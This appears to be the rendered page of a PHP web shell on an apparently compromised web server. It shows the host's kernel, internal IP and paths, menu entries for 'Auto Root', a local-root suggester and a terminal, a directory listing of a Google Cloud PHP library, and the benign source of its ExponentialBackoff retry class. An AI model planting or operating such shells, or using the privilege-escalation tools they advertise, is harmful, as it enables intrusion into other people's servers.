Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
vendor /
google /
cloud-core /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
Batch
[ DIR ]
drwxr-sr-x
2026-03-17 23:07
Compute
[ DIR ]
drwxr-sr-x
2026-03-17 23:07
Exception
[ DIR ]
drwxr-sr-x
2026-03-17 23:07
Iam
[ DIR ]
drwxr-sr-x
2026-03-17 23:07
Iterator
[ DIR ]
drwxr-sr-x
2026-03-17 23:07
Lock
[ DIR ]
drwxr-sr-x
2026-03-17 23:07
Logger
[ DIR ]
drwxr-sr-x
2026-03-17 23:07
LongRunning
[ DIR ]
drwxr-sr-x
2026-03-17 23:07
Report
[ DIR ]
drwxr-sr-x
2026-03-17 23:07
Testing
[ DIR ]
drwxr-sr-x
2026-03-17 23:07
Upload
[ DIR ]
drwxr-sr-x
2026-03-17 23:07
AnonymousCredentials.php
2.4
KB
-rw-r--r--
2026-03-17 23:07
ApiHelperTrait.php
8.01
KB
-rw-r--r--
2026-03-17 23:07
ArrayTrait.php
3.45
KB
-rw-r--r--
2026-03-17 23:07
Blob.php
2.02
KB
-rw-r--r--
2026-03-17 23:07
ClientTrait.php
8.36
KB
-rw-r--r--
2026-03-17 23:07
ConcurrencyControlTrait.php
1.35
KB
-rw-r--r--
2026-03-17 23:07
DebugInfoTrait.php
1.28
KB
-rw-r--r--
2026-03-17 23:07
DetectProjectIdTrait.php
2.98
KB
-rw-r--r--
2026-03-17 23:07
Duration.php
2.1
KB
-rw-r--r--
2026-03-17 23:07
EmulatorTrait.php
2.74
KB
-rw-r--r--
2026-03-17 23:07
ExponentialBackoff.php
4.71
KB
-rw-r--r--
2026-03-17 23:07
GeoPoint.php
5.99
KB
-rw-r--r--
2026-03-17 23:07
GrpcRequestWrapper.php
4.59
KB
-rw-r--r--
2026-03-17 23:07
GrpcTrait.php
8.92
KB
-rw-r--r--
2026-03-17 23:07
InsecureCredentialsWrapper.php
982
B
-rw-r--r--
2026-03-17 23:07
Int64.php
1.7
KB
-rw-r--r--
2026-03-17 23:07
JsonTrait.php
2.15
KB
-rw-r--r--
2026-03-17 23:07
OptionsValidator.php
4
KB
-rw-r--r--
2026-03-17 23:07
PhpArray.php
7.2
KB
-rw-r--r--
2026-03-17 23:07
RequestBuilder.php
5.18
KB
-rw-r--r--
2026-03-17 23:07
RequestHandler.php
4.18
KB
-rw-r--r--
2026-03-17 23:07
RequestProcessorTrait.php
4.47
KB
-rw-r--r--
2026-03-17 23:07
RequestWrapper.php
20.98
KB
-rw-r--r--
2026-03-17 23:07
RequestWrapperTrait.php
6.94
KB
-rw-r--r--
2026-03-17 23:07
RestTrait.php
4.78
KB
-rw-r--r--
2026-03-17 23:07
Retry.php
3.33
KB
-rw-r--r--
2026-03-17 23:07
RetryDeciderTrait.php
2.79
KB
-rw-r--r--
2026-03-17 23:07
ServiceBuilder.php
14.2
KB
-rw-r--r--
2026-03-17 23:07
SysvTrait.php
1.81
KB
-rw-r--r--
2026-03-17 23:07
TimeTrait.php
4.46
KB
-rw-r--r--
2026-03-17 23:07
Timestamp.php
4.02
KB
-rw-r--r--
2026-03-17 23:07
TimestampTrait.php
1.53
KB
-rw-r--r--
2026-03-17 23:07
UriTrait.php
1.78
KB
-rw-r--r--
2026-03-17 23:07
ValidateTrait.php
2.27
KB
-rw-r--r--
2026-03-17 23:07
ValueMapperTrait.php
1.74
KB
-rw-r--r--
2026-03-17 23:07
WhitelistTrait.php
1.13
KB
-rw-r--r--
2026-03-17 23:07
Save
Rename
<?php /** * Copyright 2016 Google Inc. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ namespace Google\Cloud\Core; /** * Exponential backoff implementation. */ class ExponentialBackoff { const MAX_DELAY_MICROSECONDS = 60000000; /** * @var int */ private $retries; /** * @var callable|null */ private $retryFunction; /** * @var callable */ private $delayFunction; /** * @var callable|null */ private $calcDelayFunction; /** * @var callable|null */ private $retryListener; /** * @param int $retries [optional] Number of retries for a failed request. * @param callable $retryFunction [optional] returns bool for whether or not * to retry * @param callable $retryListener [optional] Runs after the * $retryFunction. Unlike the $retryFunction,this function isn't * responsible to decide if a retry should happen or not, but it gives the * users flexibility to consume exception messages and add custom logic. * Function definition should match: * function (\Exception $e, int $attempt, array $arguments): array * Ex: One might want to change headers on every retry, this function can * be used to achieve such a functionality. */ public function __construct( $retries = null, ?callable $retryFunction = null, ?callable $retryListener = null ) { $this->retries = $retries !== null ? (int) $retries : 3; $this->retryFunction = $retryFunction; $this->retryListener = $retryListener; // @todo revisit this approach // @codeCoverageIgnoreStart $this->delayFunction = static function ($delay) { usleep($delay); }; // @codeCoverageIgnoreEnd } /** * Executes the retry process. * * @param callable $function * @param array $arguments [optional] * @return mixed * @throws \Exception The last exception caught while retrying. */ public function execute(callable $function, array $arguments = []) { $delayFunction = $this->delayFunction; $calcDelayFunction = $this->calcDelayFunction ?: [$this, 'calculateDelay']; $retryAttempt = 0; $exception = null; while (true) { try { return call_user_func_array($function, $arguments); } catch (\Exception $exception) { if ($this->retryFunction) { if (!call_user_func($this->retryFunction, $exception, $retryAttempt)) { throw $exception; } } if ($retryAttempt >= $this->retries) { break; } $delayFunction($calcDelayFunction($retryAttempt)); $retryAttempt++; if ($this->retryListener) { // Developer can modify the $arguments using the retryListener // callback. call_user_func_array( $this->retryListener, [$exception, $retryAttempt, &$arguments] ); } } } throw $exception; } /** * If not set, defaults to using `usleep`. * * @param callable $delayFunction * @return void */ public function setDelayFunction(callable $delayFunction) { $this->delayFunction = $delayFunction; } /** * If not set, defaults to using * {@see \Google\Cloud\Core\ExponentialBackoff::calculateDelay()}. * * @param callable $calcDelayFunction * @return void */ public function setCalcDelayFunction(callable $calcDelayFunction) { $this->calcDelayFunction = $calcDelayFunction; } /** * Calculates exponential delay. * * @param int $attempt The attempt number used to calculate the delay. * @return int */ public static function calculateDelay($attempt) { return min( mt_rand(0, 1000000) + (pow(2, $attempt) * 1000000), self::MAX_DELAY_MICROSECONDS ); } }